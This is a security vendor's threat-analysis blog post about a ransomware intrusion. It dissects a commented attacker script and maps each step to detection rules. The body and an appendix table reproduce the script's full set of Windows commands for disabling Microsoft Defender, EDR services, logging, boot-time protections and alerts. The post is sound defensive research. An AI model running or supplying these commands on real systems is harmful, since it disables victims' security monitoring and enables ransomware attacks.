Don’t let overlooked obligations become incidents. Learn how.
Utility navigation bar redirect icon
Portal LoginSupportContact
Search
Close search
Huntress Logo in Teal
  • Platform Overview
    Managed EDR

    Get full endpoint visibility, detection, and response.

    Managed EDR

    Get full endpoint visibility, detection, and response.

    Managed ITDR

    Protect your Microsoft 365 identities and email environments.

    Managed ITDR

    Protect your Microsoft 365 identities and email environments.

    Managed SIEM

    Managed threat response and robust compliance support at a predictable price.

    Managed SIEM

    Managed threat response and robust compliance support at a predictable price.

    Managed Security Awareness Training

    Empower your teams with science-backed security awareness training.

    Managed Security Awareness Training

    Empower your teams with science-backed security awareness training.

    Managed ISPM

    Continuous Microsoft 365 and identity hardening, managed and enforced by Huntress experts.

    Managed ISPM

    Continuous Microsoft 365 and identity hardening, managed and enforced by Huntress experts.

    Managed ESPM

    Proactively secure endpoints against attacks.

    Managed ESPM

    Proactively secure endpoints against attacks.

    Integrations
    Integrations
    Support Documentation
    Support Documentation
    See Huntress in Action

    Quickly deploy and manage real-time protection for endpoints, email, and employees - all from a single dashboard.

    Huntress Cybersecurity
    See Huntress in Action

    Quickly deploy and manage real-time protection for endpoints, email, and employees - all from a single dashboard.

    Huntress Cybersecurity
  • Threats We Stop
    Phishing
    Phishing
    Business Email Compromise
    Business Email Compromise
    Ransomware
    Ransomware
    Infostealers
    Infostealers
    View Allright arrowView Allright arrow
    Industries We Serve
    Education
    Education
    Financial Services
    Financial Services
    State and Local Government
    State and Local Government
    Healthcare
    Healthcare
    Law Firms
    Law Firms
    Manufacturing
    Manufacturing
    Utilities
    Utilities
    View Allright arrowView Allright arrow
    Tailored Solutions
    MSPs
    MSPs
    Resellers
    Resellers
    SMBs
    SMBs
    Compliance
    Compliance
    What Gets Overlooked Gets Exploited

    Most days, nothing happens. But one day, something will.

    Huntress Cybersecurity
    Cybercriminals Have Evolved

    Get the intel on today’s cybercriminal groups and learn how to protect yourself.

    Huntress Cybersecurity
  • Pricing
  • Community Series
    The Product Lab

    Shape the next big thing in cybersecurity together.

    The Product Lab

    Shape the next big thing in cybersecurity together.

    Fireside Chat

    Real people. Real perspectives. Better conversations.

    Fireside Chat

    Real people. Real perspectives. Better conversations.

    Tradecraft Tuesday

    No products, no pitches – just tradecraft.

    Tradecraft Tuesday

    No products, no pitches – just tradecraft.

    _declassified

    Exposing hidden truths in the world of cybersecurity.

    _declassified

    Exposing hidden truths in the world of cybersecurity.

    Resources
    Upcoming Events
    Upcoming Events
    Ebooks
    Ebooks
    On-Demand Webinars
    On-Demand Webinars
    Videos
    Videos
    Whitepapers
    Whitepapers
    Datasheets
    Datasheets
    Cybersecurity Education
    Cybersecurity 101
    Cybersecurity 101
    Cybersecurity Guides
    Cybersecurity Guides
    Threat Library
    Threat Library
    Real Tradecraft, Real Results
    Real Tradecraft, Real Results
    2026 Cyber Threat Report
    2026 Cyber Threat Report
    The Huntress Blog
    Huntress Lands on the Microsoft Marketplace
    Huntress Cybersecurity
    Huntress Lands on the Microsoft Marketplace
    Huntress Cybersecurity
    How Huntress & DEFCERT Are Streamlining CMMC Assessment Prep
    Huntress Cybersecurity
    How Huntress & DEFCERT Are Streamlining CMMC Assessment Prep
    Huntress Cybersecurity
    Live Hacking Into Microsoft 365 with Kyle Hanslovan
    Huntress Cybersecurity
    Live Hacking Into Microsoft 365 with Kyle Hanslovan
    Huntress Cybersecurity
  • Why Huntress

    Go beyond AI in the fight against today’s hackers with Huntress Managed EDR purpose-built for your needs

    Huntress Cybersecurity
    Why Huntress

    Go beyond AI in the fight against today’s hackers with Huntress Managed EDR purpose-built for your needs

    Huntress Cybersecurity
    The Huntress SOC

    24/7 Security Operations Center

    The Huntress SOC

    24/7 Security Operations Center

    Reviews

    Why businesses of all sizes trust Huntress to defend their assets

    Reviews

    Why businesses of all sizes trust Huntress to defend their assets

    Case Studies

    Learn directly from our partners how Huntress has helped them

    Case Studies

    Learn directly from our partners how Huntress has helped them

    Community

    Get in touch with the Huntress Community team

    Community

    Get in touch with the Huntress Community team

    Compare Huntress
    Bitdefender
    Bitdefender
    Blackpoint
    Blackpoint
    Breach Secure Now!
    Breach Secure Now!
    Crowdstrike
    Crowdstrike
    Datto
    Datto
    SentinelOne
    SentinelOne
    Sophos
    Sophos
    Compare Allright arrowCompare Allright arrow
  • HUNTRESS HUB

    Login to access top-notch marketing resources, tools, and training.

    Huntress Cybersecurity
    HUNTRESS HUB

    Login to access top-notch marketing resources, tools, and training.

    Huntress Cybersecurity
    Partners
    MSPs

    Join our partner community to deliver expert-led managed security.

    MSPs

    Join our partner community to deliver expert-led managed security.

    Resellers

    Partner program designed to grow your cybersecurity business.

    Resellers

    Partner program designed to grow your cybersecurity business.

    Tech Alliances

    Driving innovation through global technology Partnerships

    Tech Alliances

    Driving innovation through global technology Partnerships

    Microsoft Partnership

    A Level-Up for Your Business Security

    Microsoft Partnership

    A Level-Up for Your Business Security

  • Press Release
    Huntress Announces Collaboration with Microsoft to Strengthen Cybersecurity for Businesses of All Sizes
    Huntress Cybersecurity
    Press Release
    Huntress Announces Collaboration with Microsoft to Strengthen Cybersecurity for Businesses of All Sizes
    Huntress Cybersecurity
    Our Story

    We're on a mission to shatter the barriers to enterprise-level security.

    Our Story

    We're on a mission to shatter the barriers to enterprise-level security.

    Newsroom

    Explore press releases, news articles, media interviews and more.

    Newsroom

    Explore press releases, news articles, media interviews and more.

    Meet the Team

    Founded by former NSA Cyber Operators. Backed by security researchers.

    Meet the Team

    Founded by former NSA Cyber Operators. Backed by security researchers.

    Careers

    Ready to shake up the cybersecurity world? Join the hunt.

    Careers

    Ready to shake up the cybersecurity world? Join the hunt.

    Awards
    Awards
    Contact Us
    Contact Us
  • Portal Login
  • Support
  • Contact
  • Search
  • Get a Demo
  • Start for Free
Portal LoginSupportContact
Search
Close search
Get a Demo
Start for Free
HomeBlog
The Commented Kill Chain: Why Old Ransomware Playbooks Never Die
Published:
July 31, 2025

The Commented Kill Chain: Why Old Ransomware Playbooks Never Die

By:
Matt Anderson
Dray Agha
Share icon
Glitch effectGlitch effectGlitch effect

During a ransomware intrusion, we encountered a script that was filled with clear comments for what each command and function did. It was immediately, jarringly out of place, as at Huntress we typically observe malicious scripts to be heavily obfuscated.  Clear, descriptive, English comments like rem Disable WD Tasks and rem Remove WD context menu preceded the corresponding blocks of code - it was like stumbling upon a criminal's detailed confession. This self-documenting script was the thread that unraveled the entire story. The comments made the attacker's intent crystal clear, and allowed us to identify the script's public origin—a Gist on GitHub—and its documented use in past attacks, most notably in a 2021 Xinglocker ransomware case.  

In our case, this ransomware actor moved swiftly. But the Huntress SOC was faster, monitoring the adversary the entire time whilst they were in the network:   

  • The threat actor came in via RDP
  • They immediately began tampering with defences and removing volume shadow copies (which benefits ransomware by eradicating local ‘copies’ of files). Then they moved laterally to the domain controller.  
  • The attacker’s intended finale was to detonate  C:\Temp\file.exe -n=15 -p=F —an executable with common ransomware binary arguments.

Figure 1: Shadow volumes deleted via WMI lateral movement



Figure 2: Ransomware execution command argument variations



Figure 3: The log file from the file.exe execution

Fortunately, Huntress intervened to prevent file encryption by detecting some of the noisier tactics we will describe in this blog. At Huntress, we use all intrusions as learning opportunities, to research iteratively and refine detections for observed tradecraft. This incident highlights how effective, publicly known playbooks persist, get passed around, and are redeployed by different adversaries, who add their own iterations over time. It's definitive proof that the same tricks are still being attempted over and over, and that tells us exactly what we need to defend against.

Key takeaways:

  • Effective playbooks are recycled. The core script, first seen years ago, is still being used today, proving that adversaries will not abandon a tool that works.

  • Playbooks evolve. The base script was augmented with newer PowerShell commands, showing that while the foundation is old, the tactics are being actively refined.

  • Defenders must target the technique, not the tool. The specific script or tool an actor uses is less important than the methods they use. The enduring nature of this playbook provides a clear, consistent set of behaviors to detect and block.


The adversary playbook: A tactical breakdown


Figure 4: Extract of the adversarial script, from the Huntress platform

The original script, helpfully organized by its original author, reveals a checklist of defense evasion and system impairment tactics. Each rem comment announces the next step.

A multifaceted assault on Defender

The playbook launches a comprehensive barrage of configuration changes targeting Microsoft Defender’s operations.


Attacker's Comment

Purpose

rem 1 - Disable Real-time protection

Disables core features like AntiSpyware and AntiVirus via registry policy.

rem 0 - Disable Logging

Disables WMI logging for Defender API and Audit events to frustrate forensic analysis.

rem Disable WD systray icon

Removes the Defender icon from the user's view to maintain the illusion of security.

rem Disable WD Tasks

Disables all Defender-related scheduled tasks for scanning, cleanup, and maintenance.

rem Remove WD context menu

Announces the removal of the "Scan with Microsoft Defender" option from the right-click context menu.


rem Disable WD services

Announces the final, forceful step of disabling the core Defender services directly in the registry.



Disabling core components

Under the comment rem 1 - Disable Real-time protection, the script launches a volley of registry edits. These commands are not subtle; they directly target the policy settings for Defender's core engines, setting values like DisableAntiSpyware and DisableAntiVirus to effectively turn off the primary scanning and protection capabilities at the policy level. These commands go far beyond just turning off the antivirus. They systematically dismantle supporting features by setting policies to disable behavior monitoring, turn off cloud-based protection like "Block at First Seen," and prevent the system from sending suspicious samples back to Microsoft for analysis. This multifaceted approach ensures that every layer of real-time detection— from local heuristics to cloud intelligence—are effectively blinded.

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /d "0"

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

Next, with the section labeled rem Disable WD Tasks, the attacker cripples Defender's ability to maintain itself. By using schtasks to disable tasks for scheduled scans, cache maintenance, and cleanups, the script ensures that even if Defender wasn't fully disabled, it could no longer perform its routine, automated functions, leaving it outdated and ineffective.

Finally, the script executes its most forceful step under rem Disable WD services. Here, it directly modifies the registry to set the Start type for essential Defender services—like WinDefend and WdFilter—to "Disabled." This low-level change ensures the core components of the security software cannot be started, finalizing the complete neutralization of the system's defenses.

reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f


Disabling UI features

Another key part of the attacker's strategy is to operate without alerting the user. These tactics focus on removing the visible traces of Microsoft Defender to maintain an illusion of normalcy. The first three commands are designed to remove the "Scan with Microsoft Defender" option that appears when a user right-clicks on a file, folder, or drive. This prevents a curious user from easily initiating a scan and discovering a problem. 

The final command is even more crucial; it deletes the registry key responsible for auto-starting the Windows Defender icon in the system tray. By ensuring this icon never appears, the attacker removes the most obvious visual indicator that the security software is disabled, allowing them to continue their attack in complete stealth.

reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f


There is virtually no reason why this would be done under normal circumstances, especially when run with separate commands in the command line in this fashion. You should absolutely look for this as a sign of malicious behavior.

Sigma Rules:

Windows Defender Context Menu Removed

Delete Defender Scan ShellEx Context Menu Registry Key 


Disabling Logging

To ensure their actions cannot be easily traced, attackers employ tactics to blind the system's own monitoring capabilities. This tactic is a crucial anti-forensics step. The commands provided target and disable the two primary Windows Management Instrumentation (WMI) autologgers for Microsoft Defender: the DefenderApiLogger and DefenderAuditLogger. These loggers create a detailed record of Defender's activities, which is invaluable for security analysts and EDR tools during an investigation. 

By setting their Start value to 0, the attackers effectively turn off these security monitors, preventing the system from recording their malicious activity. This makes it significantly harder for investigators to understand the full scope and timeline of the breach after the fact.

reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

If Microsoft Defender is disabled legitimately, it will almost never be disabled in this specific way. Disabling these logs completely blinds any detection methods that may rely on this telemetry stream. This is a very good indicator, and should occur very rarely in most environments. 

Sigma Rule:

Disabling Windows Defender WMI Autologger Session via Reg.exe


An evolving playbook: Same core, new layers

If the 2021 Gist script was v1.0, then the enhanced script Huntress observed in this intrusion is a v2.0 upgrade. This v2.0 playbook, from what we can tell, builds off of the foundations of the 2021 Gist script and adds additional malice. 

The most critical additions are:

  1. Subversion of security controls. Where the old script simply turned Defender off, the new playbook uses Set-MpPreference to reprogram its logic. Setting the default action for high-severity threats to ‘6’ (Allow) tells the security tool to willfully ignore the very threats it was designed to stop.

    Set-MpPreference -SevereThreatDefaultAction 6 -Force
    Set-MpPreference -HighThreatDefaultAction 6 -Force
    Set-MpPreference -ModerateThreatDefaultAction 6 -Force
    Set-MpPreference -LowThreatDefaultAction 6 -Force

This is a significant tactical upgrade from the original script. It instructs the security tool to willfully ignore threats, showing how attackers have refined their approach to be more nuanced, rather than simply turning a service off. This is a stealthy move that will almost never occur legitimately. While some security products or Remote Monitoring and Management Tools may adjust these settings, they will rarely set them specifically to “Allow” (6) or to “NoAction” (9)—both of which mean that Defender will not try to contain any detected threat. This is an excellent indicator that is easy to monitor in several different data sources.

Sigma Rules:

PowerShell Defender Threat Severity Default Action Set to 'Allow' or 'NoAction'

Windows Defender Threat Severity Default Action Set to 'Allow' or 'NoAction'

  1. Modification of network profiles for lateral movement. The second key addition prepares the way for the ransomware to spread. Changing the active network profile to "Private" instantly relaxes firewall rules, often enabling the network discovery and file sharing protocols that help ransomware actors find their next victim on the local network.

    Set-NetConnectionProfile -Name "Network" -NetworkCategory Private

  2. Use of PowerShell cmdlets to disable Defender: Some of these overlap with the direct registry changes that were made to disable Defender components:

PowerShell Action (Set-MpPreference)

Corresponding Registry Action

Shared Goal

-DisableRealtimeMonitoring $true

Key: HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection

Value: DisableRealtimeMonitoring is set to 1

Disable Core Real-Time Protection

-DisableBehaviorMonitoring $true

Key: HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection

Value: DisableBehaviorMonitoring is set to 1

Stop Behavior-Based Detection

-DisableIOAVProtection $true

Key: HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection

Value: DisableIOAVProtection is set to 1

Prevent Scan of Downloads

-DisableBlockAtFirstSeen $true

Key: HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet

Value: DisableBlockAtFirstSeen is set to 1

Neutralize Cloud Protection

-SubmitSamplesConsent 2 

Key: HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet

Value: SubmitSamplesConsent is set to 0 (Does not send)

Stop Automatic Sample Submission

-MAPSReporting 0

Key: HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet

Value: SpynetReporting is set to 0 (Disabled)

Disable participation in the Microsoft Advanced Protection Service (MAPS) cloud network.


Others are unique and not previously covered by other commands:


PowerShell Command (Set-MpPreference)

Purpose

-DisablePrivacyMode $true

Prevents non-admin users from seeing threat detection history.

-SignatureDisableUpdateOnStartupWithoutEngine $true

A specific command to prevent signature updates from downloading on startup.

-DisableArchiveScanning $true

Explicitly stops Defender from scanning inside compressed files like .zip or .rar.

-DisableIntrusionPreventionSystem $true

Disables the network intrusion prevention system (IPS) feature of Defender.

-DisableScriptScanning $true

Specifically disables the scanning of scripts (e.g., PowerShell, VBScript), a common attack vector.

-PUAProtection disable

Disables protection against Potentially Unwanted Applications (PUAs), such as adware.

-EnableControlledFolderAccess Disabled

Disables Controlled Folder Access, a critical anti-ransomware feature.

-ScanScheduleDay 8

Effectively disables the daily scheduled scan by setting the day to an invalid value (8 = Never).


  1. Disabling Boot-Time Protections and EDR Telemetry. A primary evolution is the direct assault on Microsoft Defender for Endpoint (MDE). While the original script focused on the standard Defender antivirus, newer attacks use commands like reg add "...Services\Sense" /v "Start" /d "4" /f and the even more forceful sc delete Sense to completely disable or remove the core MDE service. This is a critical objective for the attacker, as it severs the link between the compromised machine and the corporate security team, effectively taking the device off their monitoring grid.

    This is often paired with the removal of services related to system integrity, such as System Guard, using commands like sc delete SgrmAgent and sc delete SgrmBroker. By doing so, the attacker prevents the operating system from verifying that its own core components have not been tampered with.

    Furthermore, attackers are targeting security features at the earliest stages of the boot process. The command bcdedit /set {current} disableelamdrivers yes modifies the boot configuration to prevent any Early Launch Anti-Malware (ELAM) drivers from loading. This preemptively neuters a critical layer of protection before the main operating system even starts. This is complemented by disabling other low-level drivers like the Microsoft Security Filter Driver (MsSecFlt), which blinds security tools that rely on it to inspect system activity. 

Finally, to ensure all this happens silently, the attacker suppresses all user-facing alerts using registry keys like Notification_Suppress, completing the total, stealthy compromise of the machine's defenses.

bcdedit /set {current} disableelamdrivers yes

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f

reg add "HKLM\SYSTEM\ControlSet001\Services\MsSecFlt" /v "Start" /t REG_DWORD /d "4" /f

reg add "HKLM\System\CurrentControlSet\Services\Sense" /v "Start" /t REG_DWORD /d "4" /f

sc delete Sense

reg add "HKLM\SYSTEM\ControlSet001\Services\MsSecFlt" /v "Start" /t REG_DWORD /d "4" /f

sc delete SgrmAgent

sc delete SgrmBroker


What this means for defenders

The same tricks are used because they still work. Just like we recently observed the same indicators across the exploitation of multiple vulnerabilities in different attacks, it is clear that many adversaries don’t feel the need to change something that works for them. In this case, the script is a roadmap of weaknesses in default security postures. Our job as defenders is to make these tricks obsolete.

Focus on the behavior, not the artifact. Instead of relying on detecting hashes of specific scripts or file names, build detections for the behaviors themselves. An alert on reg.exe modifying a critical service's Start value, or PowerShell altering security policies, is an enduring defense. Then it doesn’t matter how this attack is carried out (by a script, binary, interactive shell, etc.)—you can always detect it.

By strengthening defenses against these common techniques, you’ll be able to prevent ransomware as we did in this case.                                                   




Appendix: Full Command List

Below, you'll find the original commands in yellow text, while the additional newer commands are in red text.


Command

Purpose

Network Configuration

Get-NetConnectionProfile

Identifies the current network profile to be targeted.

Set-NetConnectionProfile -Name "Network" -NetworkCategory Private

Changes the network firewall profile to "Private" to enable lateral movement.

Registry - Disable Defender Policies

reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

Deletes existing Defender policies to ensure a clean slate.

reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

Disables the core AntiSpyware engine via policy.

reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

Disables the core AntiVirus engine via policy.

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

Disables specific real-time features like behavior monitoring and IOAV protection.

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

Disables cloud-based protection ("Block at First Seen").

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /d "0"

Disables sending data to the SpyNet/MAPS cloud protection service.

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /d "0"

Prevents automatic submission of file samples to Microsoft.

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

Disables enhanced notifications to prevent user alerts.

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

Disables Microsoft Defender's protection against Potentially Unwanted Applications (PUAs).

Registry - Disable Logging & UI

reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

Disables WMI logging for Defender API events.

reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

Disables WMI logging for Defender Audit events.

reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f

Deletes startup approval for the Defender tray icon.

reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f

reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f

Deletes the registry key that auto-starts the Defender tray icon for the current user.

reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

Removes the "Scan with Microsoft Defender" right-click context menu option.

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f

Suppresses all pop-up notifications from Microsoft Defender that would normally appear to the user.

Disable Services

reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

sc stop windefend
sc delete windefend

Disables/deletes the main Windows Defender Antivirus Service.

reg add "HKLM\System\CurrentControlSet\Services\Sense" /v "Start" /t REG_DWORD /d "4" /f

sc stop Sense
sc delete Sense

Disables the core service for Microsoft Defender for Endpoint (MDE).

reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f

sc stop WdBoot

sc delete WdBoot

Disables the Defender Boot Driver service.

reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f

sc delete WdFilter 

sc stop WdFilter

Note: Actual commands observed were incorrectly typed

sc stop WdFiltrer

sc delete WdFiltrer

Disables and deletes the

Windows Defender Antivirus file system filter driver.

reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

sc stop WdNisDrv

sc delete WdNisDrv

Disables the Windows Defender Network Inspection System Driver.

reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f

sc stop WdNisSvc

sc delete WdNisSvc

Disables the Defender Network Inspection Service.

reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

sc stop SecurityHealthService

sc delete SecurityHealthService

sc stop wscsvc

sc delete wscsvc

Disables the Windows Security Health service (or older Windows Security Center service) that monitors security status.

reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f

Removes Security Health Service registry run key (persistence).

reg add "HKLM\SYSTEM\ControlSet001\Services\MsSecFlt" /v "Start" /t REG_DWORD /d "4" /f

Disables the Microsoft Security Filter Driver.

sc stop SgrmAgent

sc stop SgrmBroker

sc delete SgrmAgent

sc delete SgrmBroker

Disables the System Guard Runtime Monitor (Broker and Agent services).

bcdedit /set {current} disableelamdrivers yes

Tells the Windows boot manager not to load any Early Launch Anti-Malware (ELAM) drivers, including WdBoot.

Scheduled Tasks

schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable

schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable

schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

Disables all Defender-related scheduled tasks for scanning, cleanup, and maintenance.

PowerShell - Defender Preferences

Set-MpPreference -DisableRealtimeMonitoring $true

Disables real-time monitoring via PowerShell.

Set-MpPreference -DisableBehaviorMonitoring $true

Disables monitoring for suspicious application behaviors.

Set-MpPreference -DisableArchiveScanning $true

Disables scanning of archives, scripts, and network drives.

Set-MpPreference -SubmitSamplesConsent 2

Sets sample submission consent to "Never Send" (Value 2).

Set-MpPreference -MAPSReporting 0

Turns off reporting to the Microsoft Advanced Protection Service (MAPS) cloud (Value 0).

Set-MpPreference -[Level]ThreatDefaultAction 6 -Force

Instructs Defender to take "No Action" (Value 6) on any detected threat.

Set-MpPreference -PUAProtection disable

Disables protection against Potentially Unwanted Applications (PUAs), such as adware.

Set-MpPreference -EnableControlledFolderAccess Disabled

Disables Controlled Folder Access, a critical anti-ransomware feature.

Set-MpPreference -ScanScheduleDay 8

Effectively disables the daily scheduled scan by setting the day to an invalid value (8 = Never).

Set-MpPreference -DisableIntrusionPreventionSystem $true

Disables the network intrusion prevention system, weakening protection against network-based exploits.

Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true

Prevents security intelligence (signature) updates from downloading on startup.

Set-MpPreference -DisablePrivacyMode $true

Disables privacy mode, allowing all users to see threat detection history.




References: 

  • https://gist.github.com/Dump-GUY/8daef859f382b895ac6fd0cf094555d2 

  • https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/ 






Categories
Threat Analysis
Summarize this postClose Speech Bubble
ChatGPTClaudePerplexityGoogle AI

See Huntress in action

Our platform combines a suite of powerful managed detection and response tools for endpoints and Microsoft 365 identities, science-backed security awareness training, and the expertise of our 24/7 Security Operations Center (SOC).

Book a Demo
Share
Facebook iconTwitter X iconLinkedin iconDownload icon
Glitch effect

You Might Also Like

  • Cephalus Ransomware: Don’t Lose Your Head

    In mid-August, Huntress saw two incidents that linked back to a ransomware variant called Cephalus, which included DLL sideloading via a legitimate SentinelOne executable.
  • Kawabunga, Dude, You’ve Been Ransomed!

    Thanks in large part to our customer base, Huntress sees a great deal of interesting activity, particularly from threat actors (but also from admins). Part of that activity includes not just ransomware variants that Huntress hasn’t seen before, but also variants that may not have been documented via any public means. Further, when these incidents occur, Huntress very often gets a detailed look at the threat actor’s activity, including commands and their timing.
  • Active Exploitation of SolarWinds Web Help Desk

    Huntress has observed active exploitation of a deserialization and remote code execution against the SolarWinds Web Help Desk software (CVE-2025-26399).
  • Threat Advisory: Hackers Are Exploiting CVE-2021-40444

    Huntress is monitoring a new threat against Windows OS and Microsoft Office products (CVE-2021-40444). The MSHTML engine is vulnerable to arbitrary code execution.
  • BlackCat Ransomware Affiliate TTPs

    This blog post provides a detailed look at the TTPs of a ransomware affiliate operator. In this case, the endpoint had been moved to another infrastructure (as illustrated by various command lines, and confirmed by the partner), so while Huntress SOC analysts reported the activity to the partner, no Huntress customer was impacted by the ransomware deployment.
  • Akira Ransomware Indicators

    Tracking various indicators associated with different attacks, Huntress analysts have been able to identify specific indicators (threat actor workstation names, passwords associated with new user account creation or current account modification, CloudFlare tunnel tokens) that are associated with Akira ransomware infections. By detecting these indicators much earlier in the attack chain, organizations can inhibit or even obviate file encryption malware deployment.
  • “Advanced” Intrusion Targeting Executive at Critical Marketing Research Company

    An intrusion at a market research company used living-off-the-land techniques, but Huntress detected and mitigated the threat, uncovering tactics like service creation and registry manipulation. Learn more and get detection guidance and mitigation strategies.
  • You Can Run, but You Can’t Hide: Defender Exclusions

    Understand Windows Defender AntiVirus exclusions and how adversaries might leverage this capability to bypass scans.

Sign Up for Huntress Updates

Get insider access to Huntress tradecraft, killer events, and the freshest blog updates.
Privacy • Terms
By submitting this form, you accept our Terms of Service & Privacy Policy
Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.
Huntress Managed Security PlatformManaged EDRManaged EDR for macOSManaged EDR for LinuxManaged ITDRManaged SIEMManaged Security Awareness TrainingManaged ISPMManaged ESPMBook a Demo
PhishingComplianceBusiness Email CompromiseEducationFinanceHealthcareManufacturingState & Local Government
Managed Service ProvidersResellersIT & Security Teams24/7 SOCCase Studies
BlogResource CenterCybersecurity 101Upcoming EventsSupport Documentation
Our CompanyLeadershipNews & PressCareersContact Us
Huntress white logo

Protecting 215k+ customers like you with enterprise-grade protection.

Privacy PolicyCookie PolicyTerms of UseCookie Consent
Linkedin iconTwitter X iconYouTube iconInstagram icon
© 2025 Huntress All Rights Reserved.

Join the Hunt

Get insider access to Huntress tradecraft, killer events, and the freshest blog updates.

By submitting this form, you accept our Terms of Service & Privacy Policy